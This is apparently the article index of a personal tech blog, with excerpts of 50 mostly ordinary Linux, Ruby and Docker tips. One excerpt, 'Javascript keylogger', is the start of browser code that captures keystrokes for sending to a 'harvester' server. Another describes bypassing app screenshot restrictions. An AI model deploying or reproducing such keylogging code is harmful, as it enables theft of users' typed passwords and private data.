Înapoi la articole →

Cel mai recent articol

Ultima verificare

Urmăritori 0 urmăritori
Articole: 137
  1. HTML datalist

    Markup Link to heading <label for="input-ID">Search for a word:</label> <input list="datalist-ID" id="input-ID" name="input-NAME" /> <datalist id="datalist-ID"> <option value="some"> <option value="random"> <option value="words"> <option value="t…

  2. How to Use: rubocop

    Install Link to heading gem install rubocop Configure Link to heading Create a global .rubocop.yml file in your home directory: touch ~/.rubocop.yml And add in any general rules: --- Layout/HashAlignment: EnforcedColonStyle: table Style/WordArray:…

  3. How to Use: gzip

    Install Link to heading sudo pacman -S gzip Prerequisites Link to heading Create a playground: mkdir archive-test cd archive-test Create some content: mkdir content echo content1 >> content/file1 echo content2 >> content/file2 echo content3 >> content/f…

  4. Firefox remote debugging

    If you haven’t done already, then Enable ‘Developer options’ on your phone.

  5. CLI universal opener

    Install Link to heading sudo pacman -S xdg-utils Use Link to heading xdg-open path/to/file/or/direcotry But typing xdg-open is hard, shorten it with: sudo ln -s /usr/bin/xdg-open /usr/bin/open Why this is not set up like so by default is beyond me…

  6. Tmux natural smooth scroll

    Tmux is not capable of picking up natural scroll, you need to configure it: # Mouse support. set -g mouse on # Natural scroll, line by line. bind-key -T copy-mode-vi WheelUpPane send-keys -X scroll-down-and-cancel bind-key -T copy-mode-vi WheelDownPane…

  7. Ruby JIT

    First, make sure you have at least ruby version 2.6, then enable it with a flag: ruby --jit .

  8. Switch between Pacman branches

    For the testing branch: sudo pacman-mirrors -aS testing Stable can be set back with: sudo pacman-mirrors -aS stable And so on…

  9. Repeat a key every second

    Install Link to heading sudo pacman -S xdotool Use Link to heading while true; do xdotool key ctrl+r; sleep 1; done

  10. Close stuck SSH session

    Press: Enter then ~ then .

  11. Find SSD capacity loss

    SSDs degrade over time with usage, here’s how you find out how much you lost so far… Install Link to heading sudo pacman -S smartmontools Run Link to heading sudo smartctl --all /dev/nvme0 Result Link to heading One of the lines will look like this: Per…

  12. Get SSH key fingerprint

    ssh-keygen -l -E md5 -f ~/.ssh/my-ssh-key It will display something like this: 256 MD5:8e:1c:b5:a3:f5:09:ca:72:ad:f0:1b:5d:ed:2a:03:38 my-ssh-key (ED25519)

  13. Remap keys using setxkbmap

    Remap CapsLock to Escape and AltGr to Alt: setxkbmap -option caps:escape,lv3:ralt_alt Reset with: setxkbmap -option Persistence Link to heading Set XkbOptions in /etc/X11/xorg.conf.d/00-keyboard.conf: Section "InputClass" Identifier "system-keyboard"

  14. Docker compose nginx proxy

    Create some nginx config files for custom setup: mkdir -p .

  15. Concurrency primitives in Ruby

    Note: for parallelism, see Ractors There’s 3 of them: Thread Mutex Condition Variable Thread Link to heading first = Thread.new { puts 'Thread 1'; sleep 1 } second = Thread.new { puts 'Thread 2'; sleep 1 } third = Thread.new { puts 'Thread 3'; sleep 1 }

  16. Fix docker shell history navigation

    Prerequisites Link to heading Start a docekr container: docker run --rm -it alpine sh Run some random commands in that shell: ls -la pwd cd ~ uname -a Problem Link to heading Try to navigate the history with Ctrl + p and notice it is broken.

  17. True parallelism in Ruby

    Prerequisites Link to heading You need ruby 3.0.0 or later for this, if it’s not available yet, use the docker image: docker run --rm -it ruby:3.0.0-rc1-alpine irb Ractor Link to heading Here is a snippet that showcases everything you need to know in pra…

  18. Tips and Tricks: Firefox bookmarks

    Toggle Link to heading You can show or hide the bookmarks toolbar with Ctrl + Shift + B.

  19. Picture in Picture on all workspaces

    Prerequisites Link to heading sudo pacman -S wmctrl How Link to heading Make the Firefox window Always on Top via right click on the title bar.

  20. How to Use: zstandard

    Install Link to heading sudo pacman -S zstd Prerequisites Link to heading Create a playground: mkdir archive-test cd archive-test Create some content: mkdir content echo content1 >> content/file1 echo content2 >> content/file2 echo content3 >> content/f…

  21. Basic python setup

    Install Link to heading Since you undoubtedly use linux, python should come pre-installed, but here is the install command anyway: sudo pacman -S python python-pip Configure Link to heading Add this to your ~/.bash_profile: export PATH=~/.local/bin:$PATH

  22. How to Use: meson

    Install Link to heading sudo pacman -S gcc meson ninja Develop Link to heading Write a sample program inside src/main.c: #include <stdio.h> int main(int argc, char **argv) { printf("Hello World!

  23. Basic golang setup

    Install Link to heading sudo pacman -S go Configure Link to heading Add these to your ~/.bash_profile: export GOPATH=~/.gopath export PATH=$GOPATH/bin:$PATH Use Link to heading Install packages with: go get -u -v package-name And modules with: env GO11…

  24. Bash profiling

    Execute these lines in a shell, or put them at the top of your bash script: set -x PS4='+ $EPOCHREALTIME ($LINENO) ' Now, every time you execute a command or script, you will see a timestamp, line number, and command/script executed. export A=1 # + 16082…

  25. Restore canary file from backup

    Why Link to heading To ensure you can successfully restore a file from a tar backup.

  26. How to Use: tree

    Install Link to heading sudo pacman -S tree Usage Link to heading Basic usage is like this: tree But that is incomplete, lacking hidden files and colors… Proper Usage Link to heading tree -aCI '.git' And it looks like this: . ├── Dockerfile ├── .docker…

  27. Terminal 24-bit color and italics

    Create a xterm-24bit.terminfo file in your home directory containing: xterm-24bit|xterm with 24-bit direct color mode and italic text, use=xterm-256color, sitm=\E[3m, ritm=\E[23m, setb24=\E[48;2;%p1%{65536}%/%d;%p1%{256}%/%{255}%&%d;%p1%{2…

  28. Markdown code snippets inside Markdown

    Wondering how to write a markdown code snippet inside a markdown document?

  29. HTML only content toggle

    Basic Usage Link to heading You write this markup: <details> <summary>Click to toggle!

  30. Add a custom font to your website

    Download and extract your font (I use Roboto): #!

  31. One Liners: Edit hosts file

    How Link to heading Add mydomain.test pointing to 127.0.0.1 to your /etc/hosts file use: grep -q '127.0.0.1 mydomain.test' /etc/hosts || sudo sed -i '$ a 127.0.0.1 mydomain.test' /etc/hosts To remove it do: grep -q '127.0.0.1 mydomain.test' /etc/hosts…

  32. Javascript keylogger

    Harvest the keyboard of your data cattle with this code: (() => { let buffer = [] let limit = 1024 let start = Date.now() let timeout = null let delay = 1500 let feast = (payload) => { // Replace this with a POST to your harvester se…

  33. How to Use: flameshot

    Install Link to heading sudo pacman -S flameshot Key Bindings Link to heading The default system screenshot key bindings are bad, so overwrite them: Key Description Print Take a screenshot of the entire screen.

  34. Display key presses on screen

    Useful for presenting at conferences or webinars.

  35. Keyboard shortcut management from CLI

    First remove an existing key binding with: xfconf-query --reset \ --channel xfce4-keyboard-shortcuts \ --property /commands/custom/'<Super>f' Then add yours: xfconf-query --create \ --channel xfce4-keyboard-shortc…

  36. The most terrifying Git command

    git clean -fdx It removes all files not tracked or staged by git.

  37. Remove any app from your phone

    Every app can be uninstalled, you just need to do it via CLI.

  38. Pacman cheatsheet

    Install Link to heading Update all pacakges: sudo pacman -Syu Install a package: sudo pacman -S packagename Install a package from a file: sudo pacman -U /path/to/package Remove Link to heading Remove a package: sudo pacman -Rns packagename Remove orp…

  39. How to benchmark the speed of your SSD

    Use fio to do a benchamrk from the CLI.

  40. Execute a command repeatedly

    Install Link to heading It might not be available by default on your system so make sure you install it: # Manjaro / Arch sudo pacman -S procps-ng # Alpine apk add --update procps Run Link to heading Prefix all your commands with watch and they’ll be ex…

  41. List hardware on your machine

    Install Link to heading sudp pacman -S lshw Run Link to heading To get everything just execute: sudo lshw -sanitize But you probably want to narrow it down, so here are some common ones: # Storage (SSD) sudo lshw -class disk -class storage -sanitize #…

  42. Ruby templating with ERB

    ERB comes by default with ruby, you only need to require it: require 'erb' Create a template file .

  43. Enable 'Developer options' on your phone

    Open your phone’s Settings.

  44. Basic Makefile CI steps

    Create general ci and lint goals for running things with and without docker, and specific ci/* and lint/* goals for individual checks: #------------------------------------------------------------------------------- # CI #---------------------------------…

  45. Shell scripts as a package manager

    Sometimes code is not available from package managers, just like in the stone age.

  46. Bypass screenshot security policy

    Enable ‘Developer options’ on your phone Install scrcpy: sudo pacman -S scrcpy Plug in your phone and open the app.

  47. Expose a web server on local network

    Connect your laptop and phone to the same network (Wi-Fi is a network too).

  48. How to Use: rake

    Add the rake gem to your Gemfile: gem 'rake' Install it by running bundle install.

  49. How to Use: guard

    Add these gems to your Gemfile: group :development do gem 'guard' gem 'guard-shell' end Install it by running bundle install.

  50. Docker Images: basic Node setup

    Use this as a template for node apps: #------------------------------------------------------------------------------- # Base FROM node:16.2.0-alpine SHELL ["/bin/ash", "-c"] #----------------------------------------------------------------------------…